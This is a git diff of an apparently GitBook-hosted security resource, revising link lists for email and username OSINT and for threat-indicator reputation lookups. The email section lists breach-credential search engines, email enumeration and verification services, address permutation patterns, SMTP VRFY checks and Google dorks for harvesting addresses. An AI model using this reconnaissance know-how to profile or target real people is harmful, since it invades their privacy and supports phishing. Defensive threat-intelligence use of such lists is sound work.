@@ -38,12 +49,29 @@ These two tools often go hand in hand with results often overlapping. Still, it Email Address Search Tools -* [Public Mail Records](https://publicemailrecords.com/) - Search public email records for a given email address. -* [MXToolBox](https://mxtoolbox.com/) - Collection of online tools that can gather multiple points of data surrounding an email address or domain. -* [https://seon.io/intelligence-tool/#email-analysis-module](https://seon.io/intelligence-tool/#email-analysis-module) - Enrich user data based on a single email address. -* [https://tools.epieos.com/email.php](https://tools.epieos.com/email.php) - Enter an email address and see which sites the email address has been used. - * [https://github.com/megadose/holehe](https://github.com/megadose/holehe) -* [https://emailcrawlr.com/](https://emailcrawlr.com/) - Search EmailCrawlr for email addresses and phone numbers associated with a domain. +* [MXToolBox](https://mxtoolbox.com/) - Comprehensive suite of tools for gathering data about email addresses and domains +* [Seon Email Analysis](https://seon.io/intelligence-tool/#email-analysis-module) - Enrich user profiles and gather intelligence based on a single email address +* [Epieos Tools](https://tools.epieos.com/) - Suite of tools for email address investigation including account discovery and Google ID lookup + * [Holehe GitHub](https://github.com/megadose/holehe) - CLI tool for checking email registration across 120+ platforms +* [EmailRep.io](https://emailrep.io/) - Query email reputation and registration data across multiple platforms +* [OSINT Industries](https://osint.industries/) - Email and username lookup across breaches and online accounts + + + +
+ +Breach Data and Credential Exposure + +Identify whether usernames or email addresses have been exposed in data breaches: + +* [Have I Been Pwned](https://haveibeenpwned.com/) - Check if an email address has been compromised in a data breach. Includes API access for automated queries (API key required). +* [DeHashed](https://dehashed.com/) - Search engine for leaked credentials and breach data across thousands of databases (paid subscription required for full access) +* [LeakCheck](https://leakcheck.io/) - Database of leaked credentials with detailed breach information and search capabilities (paid plans for detailed results) +* [IntelligenceX](https://intelx.io/) - Search engine for leaked databases, documents, and credentials (free tier available with limitations) +* [Snusbase](https://snusbase.com/) - Comprehensive breach data search engine with advanced filtering options (paid subscription required) +* [LeakIX](https://leakix.net/) - Search engine for open databases and data leaks +* [Dehashed API Tool](https://github.com/hmaverickadams/DeHashed-API-Tool) - Python CLI tool to query DeHashed API (requires DeHashed subscription) +* [BreachDirectory API](https://breachdirectory.org/) - Free API access to breach data for checking email compromise
@@ -51,14 +79,15 @@ These two tools often go hand in hand with results often overlapping. Still, it Email Address Enumeration Tools -For when you have your target but not their email address +Use these tools when you have identified a target but need to discover their email address: -* [https://hunter.io/](https://hunter.io/) - Discover email addresses by company name -* [https://phonebook.cz/](https://phonebook.cz/) - Phonebook lists all domains, email addresses, or URLs for the given input domain. -* [https://www.voilanorbert.com/](https://www.voilanorbert.com/) - Discover email addresses by company name -* [https://connect.clearbit.com/](https://connect.clearbit.com/) - Powerful email discovery tool, only works in chrome. -* [Email Format ](https://www.email-format.com/)- Find the email address format for a given company or domain. -* [https://snov.io/email-finder](https://snov.io/email-finder) - Locate employee email addresses via domain name. Very handy. +* [Hunter.io](https://hunter.io/) - Discover email addresses by company name or domain (free tier has limited searches) +* [Voila Norbert](https://www.voilanorbert.com/) - Email discovery service using company name or individual details (now VoilaNorbert by Kaspr, requires account) +* [Clearbit Connect](https://connect.clearbit.com/) - Powerful email discovery tool (Chrome extension required, limited free searches) +* [Email Format](https://www.email-format.com/) - Identify email address format patterns used by specific companies or domains +* [Snov.io Email Finder](https://snov.io/email-finder) - Locate employee email addresses using domain names (requires account for full functionality) +* [RocketReach](https://rocketreach.co/) - Professional email finder with extensive database (limited free searches) +* [Apollo.io](https://www.apollo.io/) - Sales intelligence platform with email discovery features @@ -66,12 +95,13 @@ For when you have your target but not their email address Email Verification Tools -Some times it helps to perform a quick check to see if an email is even valid or registered. +Verify whether an email address is valid and actively registered before conducting further investigation: -* [Tru Mail](https://trumail.io/) - Prevent bounced emails and low-quality users with free professional grade email verification -* [Email Hippo](https://tools.verifyemailaddress.io/) - Email address verification technology from Email Hippo that connects to mailboxes and checks whether an email address exists. -* [Verify email](https://verify-email.org/) - This email verification tool actually connects to the mail server and checks whether the mailbox exists or not. -* [Email Checker](https://www.emailchecker.com/) - Email Checker ensures that an email address is correct and active in real-time without ever needing to send a message. +* [Email Hippo](https://tools.verifyemailaddress.io/) - Connects to mail servers to verify whether an email address and mailbox actually exist +* [Verify Email](https://verify-email.org/) - Validates email addresses by connecting directly to mail servers and checking mailbox existence +* [Email Checker](https://www.emailchecker.com/) - Real-time email validation that confirms address correctness and active status without sending messages +* [NeverBounce](https://neverbounce.com/) - Enterprise-grade email verification service with real-time validation +* [ZeroBounce](https://www.zerobounce.net/) - Email validation and deliverability service with detailed verification @@ -79,21 +109,113 @@ Some times it helps to perform a quick check to see if an email is even valid or CLI Email Intelligence Tools -* [TheHarvester](https://github.com/laramies/theharvester) - This tool is the defacto standard for email intelligence gathering. It checks a large array of sources to pull together information. It can leverage APIs of other services such as Spyse or Shodan to improve the search. Remember these will require an API key to use. I have found that between the above html tools and this, it will satisfy your email searching needs. -* [Infoga](https://github.com/m4ll0k/Infoga) - Infoga is a tool gathering email accounts information (ip,hostname,country,...) from different public source (search engines, pgp key servers and shodan) and check if emails was leaked using haveibeenpwned.com API. -* [Match Email to Phone number ](https://github.com/martinvigo/email2phonenumber)- email2phonenumber is an OSINT tool that allows you to obtain a target's phone number just by having his email address. -* [GHunt ](https://github.com/mxrch/GHunt)- Google account info scraper -* [h8mail](https://github.com/khast3x/h8mail/) - Email OSINT & Password breach hunting tool, locally or using premium services. Supports chasing down related email - * [https://hakin9.org/h8mail-email-osint-password-breach-hunting-tool-locally-or-using-premium-services/](https://hakin9.org/h8mail-email-osint-password-breach-hunting-tool-locally-or-using-premium-services/) -* [EmailFinder](https://github.com/Josue87/EmailFinder) - Search emails from a domain through search engines +* [TheHarvester](https://github.com/laramies/theharvester) - Industry-standard tool for email intelligence gathering that aggregates information from numerous sources. Supports API integration with services like Censys and Shodan (API keys required). Highly effective when combined with web-based tools listed above. +* [Infoga](https://github.com/m4ll0k/Infoga) - Gathers comprehensive email account information (IP address, hostname, country) from multiple public sources including search engines, PGP key servers, and Shodan. Includes breach detection via haveibeenpwned.com API. Note: Repository not actively maintained but tool remains functional. +* [email2phonenumber](https://github.com/martinvigo/email2phonenumber) - OSINT tool for obtaining a target's phone number from their email address through Google services correlation. Note: Effectiveness has decreased due to Google privacy changes. +* [GHunt](https://github.com/mxrch/GHunt) - Google account information scraper that extracts publicly available data from Google accounts (actively maintained) +* [h8mail](https://github.com/khast3x/h8mail/) - Email OSINT and password breach hunting tool supporting both local and premium service searches. Features related email tracking and correlation. (Note: Some data sources may require updates) +* [EmailFinder](https://github.com/Josue87/EmailFinder) - Discovers email addresses associated with a domain using search engine queries +* [Crosslinked](https://github.com/m8r0wn/crosslinked) - LinkedIn enumeration tool to extract valid employee names from an organization for email permutation + + + +Broad recon frameworks such as SpiderFoot, Recon-ng, Maltego, and Sn1per are maintained with recon frameworks. Use this page for username and email-specific pivots. + +{% content-ref url="../../red-offensive/scanning-active-recon/recon-frameworks.md" %} +[recon-frameworks.md](../../red-offensive/scanning-active-recon/recon-frameworks.md) +{% endcontent-ref %} + +
+ +Profile Picture and Avatar Analysis + +Profile pictures can be used to correlate accounts across platforms: + +* [Gravatar Search](https://en.gravatar.com/) - Search for profile pictures associated with email addresses via Gravatar service +* [PimEyes](https://pimeyes.com/) - Reverse image search specifically for faces (paid subscription required for full results) +* [TinEye](https://tineye.com/) - Reverse image search to track where profile pictures appear online +* [Google Images](https://images.google.com/) - Reverse image search functionality for finding profile picture matches +* [Social Searcher](https://www.social-searcher.com/) - Free social media search engine to find profile pictures and posts + +
+ +## Email Permutation and Enumeration Techniques + +### Common Email Format Patterns + +When enumerating corporate email addresses, test these common patterns: + +* `firstname.lastname@company.com` (most common) +* `firstnamelastname@company.com` +* `firstname_lastname@company.com` +* `f.lastname@company.com` +* `flastname@company.com` +* `firstname.l@company.com` +* `firstname@company.com` +* `lastname.firstname@company.com` +* `firstinitiallastname@company.com` + +### Email Verification via SMTP Commands + +SMTP servers can be queried to verify email existence (note: many modern servers disable these for security): + +* **VRFY** - Verify if an email address exists +* **EXPN** - Expand mailing list membership +* **RCPT TO** - Check if server accepts mail for an address + +### Google Dorking for Email Discovery + +Advanced Google search operators for finding email addresses: + +``` +site:company.com intext:"@company.com" +site:linkedin.com "@company.com" +filetype:pdf "@company.com" +site:github.com "@company.com" +site:pastebin.com "@company.com" +``` + +### Username Correlation Techniques + +1. **Pattern Analysis**: Identify naming patterns from known accounts +2. **Cross-Platform Validation**: Verify same username exists on multiple platforms +3. **Temporal Analysis**: Check account creation dates for correlation +4. **Behavior Correlation**: Match posting times, language patterns, and interests +5. **Bio/Description Matching**: Compare profile descriptions for similar content + +--- + +## Deprecated or Unreliable Tools + +
+ +Tools No Longer Recommended + +These tools were previously included but are now deprecated, shut down, or have become unreliable. They are kept here for historical reference. + +**Email Enumeration:** +* [Phonebook.cz](https://phonebook.cz/) - Service has been shut down and is no longer accessible. Consider using IntelligenceX or Hunter.io as alternatives. +* [EmailCrawlr](https://emailcrawlr.com/) - Service appears to be offline or unreliable. Use Hunter.io or Apollo.io instead. +* [Public Mail Records](https://publicemailrecords.com/) - Service reliability has declined significantly. +* [Skymem](http://www.skymem.info/) - Mailing list archive search service that is outdated and no longer maintained reliably. + +**Email Verification:** +* [TruMail](https://trumail.io/) - API service is no longer reliably accessible. Use Email Hippo or NeverBounce as alternatives. + +**Username Search:** +* [Lullar Search](https://www.lullar.com/) - Service functionality has declined and results are often limited. +* [Stalker](https://gitlab.com/Pxmme/stalker) - GitLab repository appears inactive; tool may not be maintained. +* [finduser](https://github.com/xHak9x/finduser) - Repository archived and no longer maintained. Use Sherlock, Maigret, or Blackbird instead. + +**Note:** When a tool becomes unavailable, consider using comprehensive frameworks like SpiderFoot or Recon-ng which aggregate multiple data sources and are regularly maintained.
-**** +--- {% embed url="https://youtu.be/VytCL2ujjcA" %} -## Investigation MindMaps +## Investigation Mind Maps ![](../../.gitbook/assets/proxy-image.png) diff --git a/cyber-intelligence/threat-data.md b/cyber-intelligence/threat-data.md index e0df143..16d9712 100644 --- a/cyber-intelligence/threat-data.md +++ b/cyber-intelligence/threat-data.md @@ -4,226 +4,240 @@ description: Is this bad? # Threat Data -## Intro +Use this page for indicator reputation, enrichment, passive DNS, certificate history, blockchain analysis, and quick lookup tools. Detection engineering, YARA, sandboxes, reverse engineering, active recon, and exploit research live in their own sections. -When checking out the reputation and threat data behind and indicator, there are two main parts: Checking for the presence of the indicator on available blacklists and enriching your investigation with intelligence and metadata around the target indicator. +## How to Use This Page -When checking your indicators against the below sources, be sure you are looking at the other data that is provided outside of the blacklist check. Tools like Hurricane Electric and Cisco's Talos can give you information about the ASN or subnet an indicator is apart of. Use them to see if its not just one IP that is flagged, but if it is an entire subnet or ASN. For domains, look for registration information and registration dates. How long ago was that domain registered? Have you seen malicious domains registered by this user before? Lastly make sure you look at any other related data, even if it is as simple as the comments section of VirusTotal. Other analysts can save you a tremendous amount of work, by making a simple note to help you. - -\*WARNING\* - An indicator can still be malicious even if it is not on any searched blacklists. Do not make the mistake of assuming something is benign, simply because your searches returned nothing. +Reputation checks are starting points, not verdicts. An indicator can still be malicious even if it does not appear on any blacklist, and a shared service, CDN, or compromised host can create false positives. Use multiple sources, document what each source said, and keep the surrounding context: ASN, registrar, creation date, passive DNS history, related certificates, associated malware families, and analyst comments. ## Threat Maps -Threat maps are an interesting visual that shows volume trends in traffic and detected cyber attacks against a geolocation match on a world map. Make sure your SOC has these on large TVs so people think it looks cool. - -
+Threat maps can help with situational awareness, but they should not be treated as precise telemetry for a specific incident. -Threat Maps +* [Bitdefender Threat Map](https://threatmap.bitdefender.com) +* [Kaspersky Cyberthreat Real-Time Map](https://cybermap.kaspersky.com) +* [Mandiant Cyber Threat Map](https://www.mandiant.com/resources/cyber-threat-map) +* [Checkpoint Threat Map](https://threatmap.checkpoint.com) +* [FortiGuard Threat Map](https://threatmap.fortiguard.com) +* [Sophos Threat Center](https://www.sophos.com/en-us/threat-center) +* [NETSCOUT Horizon](https://horizon.netscout.com) +* [SonicWall Worldwide Attacks](https://securitycenter.sonicwall.com/m/page/worldwide-attacks) +* [Spamhaus Threat Map](https://www.spamhaus.com/threat-map/) -* [https://threatmap.bitdefender.com](https://threatmap.bitdefender.com) -* [https://cybermap.kaspersky.com](https://cybermap.kaspersky.com) -* [https://www.digitalattackmap.com](https://www.digitalattackmap.com) -* [https://www.fireeye.com/cyber-map/threat-map.html](https://www.fireeye.com/cyber-map/threat-map.html) -* [https://map.lookingglasscyber.com](https://map.lookingglasscyber.com) -* [https://threatmap.checkpoint.com](https://threatmap.checkpoint.com) -* [https://talosintelligence.com/reputation\_center/](https://talosintelligence.com/reputation\_center/) -* [https://talosintelligence.com/fullpage\_maps/](https://talosintelligence.com/fullpage\_maps/) -* [https://www.spamhaus.com/threat-map/](https://www.spamhaus.com/threat-map/) -* [https://www.imperva.com/cyber-threat-attack-map/](https://www.imperva.com/cyber-threat-attack-map/) -* [https://threatbutt.com/map/](https://threatbutt.com/map/) -* [https://threatmap.fortiguard.com](https://threatmap.fortiguard.com) -* [https://www.sophos.com/en-us/threat-center/threat-monitoring/threatdashboard.aspx](https://www.sophos.com/en-us/threat-center/threat-monitoring/threatdashboard.aspx) -* [https://horizon.netscout.com](https://horizon.netscout.com) -* [https://securitycenter.sonicwall.com/m/page/worldwide-attacks](https://securitycenter.sonicwall.com/m/page/worldwide-attacks) +## Threat Actor Information -
+* [DarkFeed RansomWiki](https://darkfeed.io/ransomwiki/) - Ransomware group tracking and links. +* [CrowdStrike Adversary Universe](https://adversary.crowdstrike.com/) - Threat actor profiles and e-crime tracking. +* [Malpedia](https://malpedia.caad.fkie.fraunhofer.de/) - Malware family and actor context. Malware analysis details are maintained in DFIR. -## Threat Actor Information +{% content-ref url="../dfir-digital-forensics-and-incident-response/malware.md" %} +[malware.md](../dfir-digital-forensics-and-incident-response/malware.md) +{% endcontent-ref %} -Major threat actors are often researched repeatedly in order to build a profile of intelligence around them. This helps with identifying future attacks and giving attribution to the appropriate threat actor. +## Blacklist Checks and Reputation Data + +### Multi-Source Lookups + +* [Hurricane Electric BGP Toolkit](https://bgp.he.net/) - IP, domain, ASN, subnet, WHOIS, BGP, DNS, and related metadata. +* [VirusTotal](https://www.virustotal.com/) - File, hash, IP, URL, and domain reputation with community comments and relationship pivots. + * [VirusTotal Dorks](https://github.com/Neo23x0/vti-dorks) +* [Cisco Talos Intelligence](https://talosintelligence.com/reputation_center) - IP, domain, network owner, email volume, and reputation data. +* [MXToolbox Blacklist Check](https://mxtoolbox.com/blacklists.aspx) - Domain and IP blacklist checks. +* [MultiRBL](http://multirbl.valli.org/lookup/) - DNSBL and FCrDNS lookup. +* [InfoByIP Bulk IP Lookup](https://www.infobyip.com/ipbulklookup.php) - Bulk IP/domain lookup. + +### IP Reputation + +* [IPVoid](https://www.ipvoid.com/ip-blacklist-check/) - IP blacklist, reverse DNS, ASN, and geolocation summary. +* [DNSBL.info](https://www.dnsbl.info/) - Mail server DNSBL checks. +* [Team Cymru IP Reputation](https://reputation.team-cymru.com/) - IP reputation lookup. +* [blocklist.de](http://www.blocklist.de/en/search.html) - Abuse-oriented IP and netblock lookup. +* [Project Honey Pot](https://www.projecthoneypot.org/search_ip.php) - Distributed honeypot IP activity. +* [Focsec](https://focsec.com/) - API-only VPN, proxy, Tor, and bot risk checks. +* [IPQualityScore IP Reputation](https://www.ipqualityscore.com/ip-reputation-check) - IP fraud, spam, proxy, and VPN risk checks. + * [IPQualityScore VPN IP Check](https://www.ipqualityscore.com/vpn-ip-address-check) + +### URL and Domain Reputation + +* [urlscan.io](https://urlscan.io/) - URL scanning, screenshot, HTTP transaction, IP, domain tree, and technology data. +* [URLVoid](https://www.urlvoid.com/) - URL/domain reputation, WHOIS, reverse DNS, and ASN data. +* [Zscaler Zulu](https://zulu.zscaler.com/) - URL risk analysis. +* [PhishTank](https://www.phishtank.com/) - Community phishing URL database. +* [Google Safe Browsing](https://transparencyreport.google.com/safe-browsing/search) - Google phishing and malware status. +* [Quttera](https://quttera.com/website-malware-scanner) - Website malware scanning. +* [Sucuri SiteCheck](https://sitecheck.sucuri.net/) - Website malware and security checks. +* [AdGuard Reports](https://reports.adguard.com/en/welcome.html) - AdGuard block list lookup. +* [LOTS Project](https://lots-project.com/) - Legitimate domains commonly abused for phishing, C2, exfiltration, and malware delivery. + +### File Hash Reputation + +* [Cisco Talos File Reputation](https://talosintelligence.com/talos_file_reputation) - SHA-256 file reputation. +* [MalwareBazaar](https://bazaar.abuse.ch/browse/) - Malware samples and hash lookup from abuse.ch. +* [Team Cymru Malware Hash Registry](https://hash.cymru.com/) - MD5, SHA-1, and SHA-256 hash lookup. +* [CIRCL Hashlookup](https://hashlookup.circl.lu/) - Hash lookup API from CIRCL. +* [Xcitium Valkyrie](https://valkyrie.comodo.com/) - File verdicts and dynamic analysis metadata. + +For full sandboxing and malware behavior analysis, use DFIR sandboxing. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/sandboxing.md" %} +[sandboxing.md](../dfir-digital-forensics-and-incident-response/sandboxing.md) +{% endcontent-ref %} -
+### Email and Spam Data -Threat Actor Information +* [EmailRep](https://emailrep.io/) - Email reputation, domain reputation, social presence, and policy context. +* [MXToolbox MX Lookup](https://mxtoolbox.com/MXLookup.aspx) and [SuperTool](https://mxtoolbox.com/SuperTool.aspx) - MX, DMARC, DNS, and blacklist pivots. +* [HaveIBeenEmotet](https://www.haveibeenemotet.com/) - Historical Emotet malspam involvement lookup. -* [https://darkfeed.io/ransomwiki/](https://darkfeed.io/ransomwiki/) - A site for researchers that keeps track and provides links to various ransomware group darknet sites. -* [Ransomware Group Site](http://ransomwr3tsydeii4q43vazm7wofla5ujdajquitomtd47cxjtfgwyyd.onion/) - An onion site that provides links and details about ransomware groups currently operating. - * [Clearnet Proxy](http://ransomwr3tsydeii4q43vazm7wofla5ujdajquitomtd47cxjtfgwyyd.onion.pet/) -* [Crowdstrike E-Crime Index](https://adversary.crowdstrike.com/en-US/ecrime-index-ecx/?L=236) -* [https://malpedia.caad.fkie.fraunhofer.de/](https://malpedia.caad.fkie.fraunhofer.de/) - A resource for rapid identification and actionable context when investigating malware. +## Indicator Enrichment -
+These platforms add context to indicators through scanner telemetry, historical data, abuse reports, and related infrastructure. -## **Blacklist Checks and Reputation Data** +* [GreyNoise](https://viz.greynoise.io/) - Separates internet background noise from targeted activity and provides scanner tags. +* [BrightCloud URL/IP Lookup](https://brightcloud.com/tools/url-ip-lookup.php) - URL/IP category and reputation. +* [AbuseIPDB](https://www.abuseipdb.com/) - IP abuse reporting and confidence scores. +* [SANS DShield](https://secure.dshield.org/) - Honeypot, SSH, port, header, and reputation context. +* [ThreatFox](https://threatfox.abuse.ch/browse/) - IoC library from abuse.ch. +* [Spamhaus](https://check.spamhaus.org/) - IP and domain blacklist status. +* [ThreatIntelligencePlatform.com](https://threatintelligenceplatform.com) - Domain/IP/hash enrichment. +* [OPSWAT MetaDefender](https://metadefender.opswat.com/?lang=en) - File, URL, IP, domain, hash, and CVE lookup. +* [Microsoft Defender Threat Intelligence](https://ti.defender.microsoft.com/) - Microsoft threat intelligence platform, formerly RiskIQ/PassiveTotal. +* [Pulsedive](https://pulsedive.com/) - Indicator, threat, and feed enrichment. +* [ThreatShare](https://threatshare.io/malware/) - Malware URL and family context. +* [PhishStats](https://phishstats.info/) - Phishing URL metadata. +* [Abusix Lookup](https://lookup.abusix.com/) - IP, domain, and email blocklist lookup. +* [CleanTalk](https://cleantalk.org) - Spam and blocklist checks. -
+Threat intelligence platforms and feed management tools live in Intel Feeds and Sources. -Multi - Blacklist Checkers +{% content-ref url="intel-feeds-and-sources.md" %} +[intel-feeds-and-sources.md](intel-feeds-and-sources.md) +{% endcontent-ref %} -* [Hurricane Electric BGP Toolkit](https://bgp.he.net/) - * Searches: IP address, Domain, ASN, Subnet - * Returns: IP information, WHOIS, DNS (A records), Reputation Check ( IP Only - 93 sources), Website info, Website Preview -* [Virustotal](https://www.virustotal.com/) - * Searches: File, hash, ip, domain search - * Returns: Reputation check (84 sources), DNS records, HTTPS Cert, WHOIS, Related domains, Community comments - * Has a premium API - * [https://virustotal.com/wargame/ ](https://virustotal.com/wargame/)- Virustotal training! - * [https://github.com/Neo23x0/vti-dorks](https://github.com/Neo23x0/vti-dorks) - VirusTotal Dorking -* [Cisco Talos](https://talosintelligence.com/reputation\_center) - * Searches: IP and Domain data - * Returns: Reputation check, content details, mail servers, owner details, Subnet reputation details, WHOIS, email volume history, Top Network owners -* [MXtoolbox Blacklist checker](https://mxtoolbox.com/blacklists.aspx) - * Search: Domain, IP address - * Returns: Reputation data (94 blacklists) -* [MultiRBL](http://multirbl.valli.org/lookup/) - * Searches: IP, domain - * Returns: FCrDNS Test data, Reputation data (242 blacklist checks) -* [https://www.infobyip.com/ipbulklookup.php](https://www.infobyip.com/ipbulklookup.php) - (Honorable Mention) - A great tool that allows you to take a bulk list of IP addresses or Domains and check them for the presence on blacklists. +## Passive DNS and Historical Data -
+* [SecurityTrails](https://securitytrails.com/) - Historical DNS, WHOIS, subdomains, and IP history. +* [Microsoft Defender Threat Intelligence](https://ti.defender.microsoft.com/) - Passive DNS, WHOIS, SSL certificates, trackers, and related infrastructure. +* [Farsight DNSDB](https://www.farsightsecurity.com/solutions/dnsdb/) - Passive DNS database. +* [DNSHistory.org](https://dnshistory.org/) - Historical DNS lookup. +* [WhoisXMLAPI](https://www.whoisxmlapi.com/) - Historical WHOIS and DNS records. +* [ViewDNS.info](https://viewdns.info/) - DNS and network lookup tools. +* [DNSTrails](https://dnstrails.com/) - Historical DNS and passive DNS database. -
+Domain-focused passive investigation workflows live in Domain OSINT. -IP Reputation data +{% content-ref url="osint/domain.md" %} +[domain.md](osint/domain.md) +{% endcontent-ref %} -* [IPVoid](https://www.ipvoid.com/ip-blacklist-check/) - Returns: Reputation data (115 sources checked), Reverse DNS, ASN, Country -* [DNSBL Email server spam checker](https://www.dnsbl.info/) - Checks IP of mail server for spam data accross 100+ blacklists -* [IPSpam List](http://www.ipspamlist.com/ip-lookup/) - Checks IP against their internal blacklist for reporting spam -* [Cymru IP Reputation Lookup](https://reputation.team-cymru.com/) - Checks IP against Cymru's internal reputation feed (High quality) -* [http://www.blocklist.de/en/search.html](http://www.blocklist.de/en/search.html) - Check if a netblock or IP is malicious according to blocklist.de. -* [https://www.projecthoneypot.org/search\_ip.php](https://www.projecthoneypot.org/search\_ip.php) - Checks IP Attack data from distributed honeypot network. -* [https://focsec.com/](https://focsec.com/) (API ONLY) - Determine if a user’s IP address is associated with a VPN, Proxy, TOR or malicious bots. -* [https://www.ipqualityscore.com/ip-reputation-check](https://www.ipqualityscore.com/ip-reputation-check) - Use this free tool to accurately **check IP Reputation** using leading IP address intelligence. **Lookup IP reputation history** which could indicate SPAM issues, threats, or elevated IP fraud scores that could be causing your IP address to be blocked and blacklisted. - * [https://www.ipqualityscore.com/vpn-ip-address-check](https://www.ipqualityscore.com/vpn-ip-address-check) - Use this tool to perform a **VPN detection test** on any IP address. Lookup any IP addresses that recently allowed VPN activity or functioned as a Virtual Private Network. 99.9% accuracy for testing VPN IP addressees. +## Certificate Transparency and SSL/TLS Analysis -
+* [crt.sh](https://crt.sh/) - Certificate transparency log search. +* [Censys Certificates](https://search.censys.io/certificates) - Certificate search with filtering. +* [SSL Labs Server Test](https://www.ssllabs.com/ssltest/) - SSL/TLS configuration analysis. +* [SSLShopper SSL Checker](https://www.sslshopper.com/ssl-checker.html) - Certificate verification and chain analysis. +* [Certificate Search](https://certificatesearch.com/) - Multi-source certificate transparency search. +* [Google Certificate Transparency Report](https://transparencyreport.google.com/https/certificates) - Google CT search interface. -
+## Browser Extensions and Quick Lookup Tools -URL/Domain Reputation data +* [CrowdSec CTI Extension](https://chrome.google.com/webstore/detail/crowdsec-cti/nfhlhlkjnlkdgbkjkhjkngakjfaljbec) - Quick IP and URL lookups. +* [Sputnik](https://github.com/mitchmoser/sputnik) - Configurable OSINT and threat intelligence lookup extension. +* [Gotanda](https://github.com/HASH1da1/Gotanda) - OSINT browser extension for extracting and searching indicators. +* [ThreatConnect Extension](https://chrome.google.com/webstore/detail/threatconnect/hbghlhcflekehioljloookhpdfjpbcka) - ThreatConnect lookups from selected text. +* [URL Unshortener](https://chrome.google.com/webstore/detail/url-unshortener/gbobhobdgeopnhpommcvdckfhqjknjom) - Shows destinations of shortened URLs. +* [VirusTotal Checker](https://chrome.google.com/webstore/detail/virustotal/efbjojhplkelaegfbieplglfidafgoka) - Browser context-menu VirusTotal lookups. -* [URLScan ](https://urlscan.io/) - Returns: Summary data, Reputation data, IP data, domain tree, HTTP transaction data, Screenshot of page, Detected Technologies, links -* [URLVoid](https://www.urlvoid.com/) - Returns Reputation data (34 sources), Registration info, WHOIS, Reverse DNS, ASN -* [Zscalar Zulu](https://zulu.zscaler.com/) - Returns: URL info, Risk analysis, Content, URL checks, Host checks -* [PhishTank](https://www.phishtank.com/) - Returns: Listed on PhishTank -* [Quttera Malware Scanner ](https://quttera.com/website-malware-scanner)- Returns: Website malware scan report -* [MergiTools RBL check](https://megritools.com/blacklist-lookup) - Returns: Reputation data -* [Malware Domain Lists](http://www.malwaredomainlist.com/mdl.php?search=\&colsearch=All\&quantity=50) - Returns: Reputation data -* [Securi SiteCheck](https://sitecheck.sucuri.net/) - Returns: Security check and malware scan -* [https://lots-project.com/](https://lots-project.com/) - Living Off Trusted Sites (LOTS) Project, Attackers are using popular legitimate domains when conducting phishing, C\&C, exfiltration and downloading tools to evade detection. The list of websites below allow attackers to use their domain or subdomain. -* [https://reports.adguard.com/en/welcome.html](https://reports.adguard.com/en/welcome.html) - Checks if site is on AdGuard's block list +## Cryptocurrency and Blockchain Analysis -
+* [Blockchain.com Explorer](https://www.blockchain.com/explorer) - Bitcoin explorer. +* [Etherscan](https://etherscan.io/) - Ethereum explorer. +* [BlockCypher](https://live.blockcypher.com/) - Multi-blockchain explorer. +* [BTC.com](https://btc.com/) - Bitcoin explorer and mining pool statistics. +* [Chainalysis](https://www.chainalysis.com/) - Commercial blockchain analysis platform. +* [Elliptic](https://www.elliptic.co/) - Commercial cryptocurrency compliance and investigation tooling. +* [Crystal Blockchain](https://crystalblockchain.com/) - Cryptocurrency intelligence platform. +* [Bitcoin Abuse Database](https://www.bitcoinabusedatabase.com/) - Community reports of scam and ransomware Bitcoin addresses. -
+## Investigation Tools -File Hash Reputation Data +{% hint style="info" %} +Some tools require more complex URL structures than simple parameter appending. Additional functionality may be needed for full automation. +{% endhint %} -* [Cisco Talos File Reputation ](https://talosintelligence.com/talos\_file\_reputation)- SHA256 Only -* [Abuse\[.\]ch Malware Baazar ](https://bazaar.abuse.ch/browse/)- Searches MD5, SHA256, and Keyword - * Returns: Hash, tag, file type, clamAV signature, Yara rule, misc. -* [Cymru MHR lookup](https://hash.cymru.com/) - Searches SHA1 and MD5 -* [CIRCL Hashlookup](https://hashlookup.circl.lu/) - A super handy API hash lookup from the creators of MISP. Takes MD5 and SHA1. -* [Comodo Valkyrie](https://valkyrie.comodo.com/) - SHA1 Only. Returns: File name, submit date, threat verdict by dynamic and human analysis. +Local helper copy: [EasyOSINT.html](../.gitbook/assets/EasyOSINT.html) -
+{% embed url="https://github.com/s0cm0nkey/EasyOSINT" %} -
+The following mind map illustrates commonly used tools for indicator analysis and their relationships: -Email/Spam Data +![](<../.gitbook/assets/Threat Object.png>) -* [Simple Email Rep checker](https://emailrep.io/) - Returns: Domain reputation, presence on social media, Blacklisted/Malicious activity, Email policy settings -* [MXtoolbox MX lookup](https://mxtoolbox.com/MXLookup.aspx) and [Super tool ](https://mxtoolbox.com/SuperTool.aspx)- Returns: Host information, DMARC and DNS record data, Pivot to Blacklist check -* [HaveIBeenEmotet](https://www.haveibeenemotet.com/) - Returns: If your email address or domain is involved in the Emotet malspam. +The interactive version can be found here: -
+{% file src="../.gitbook/assets/Threat Object (1).xmind" %} -## **Indicator Enrichment** +## Related Sections -These resources may not specifically return reputation data, but with the help of internet scanning services, internet-wide traffic metadata, and indicator enrichment and sharing platforms, we can now add much needed context to our indicators. +* Internet-wide search engines such as Shodan, Censys, FOFA, ZoomEye, BinaryEdge, Onyphe, and FullHunt live in Cyber Search. {% content-ref url="osint/cyber-search.md" %} [cyber-search.md](osint/cyber-search.md) {% endcontent-ref %} -
- -Indicator Enrichment Tools - -* [Greynoise](https://viz.greynoise.io/) - * Searches: IP address, domain - * Returns: Reputation data, tags of related activity, location data, “last-seen”, reverse DNS, Threat Actor Information, Related Organizations, Related ASNs, Top Operating Systems, service type - * Premium API available, command line version available - * [Community API (Free)](https://developer.greynoise.io/reference/community-api) - * [https://www.greynoise.io/viz/cheat-sheet](https://www.greynoise.io/viz/cheat-sheet) - * [https://github.com/GreyNoise-Intelligence/pygreynoise](https://github.com/GreyNoise-Intelligence/pygreynoise) - * _Operator Handbook: Greynoise - pg. 84_ -* [BrightCloud](https://www.brightcloud.com/tools/url-ip-lookup.php) - * Searches: IP address, domain - * Returns: Web Reputation, Web category, WHOIS -* [ThreatCrowd (Alienvault)](https://www.threatcrowd.org/) - * Searches: Domain, IP, Email, Organization - * Returns: Reputation data, WHOIS, Reverse DNS, Open Ports, Subdomains, Related Entity Graph, pivot search to AlienVault OTX indicator information -* [AbuseIPDB](https://www.abuseipdb.com/) - * Searches: IP, Domain, Subnet - * Returns: Reputation data, usage type, Location info -* [SANS D-Shield](https://secure.dshield.org/) - * Searches: Keyword, IP, domain, Port, Header - * Returns: General information, Reputation data, SSH logs, Honeypot logs, WHOIS -* [Abuse\[.\]ch ThreatFox IOC library](https://threatfox.abuse.ch/browse/) - * Search: IoCs (ip, domain, hash, etc.) - * Returns: date, IoC, malware family, Tags, Reporter -* [Spamhaus 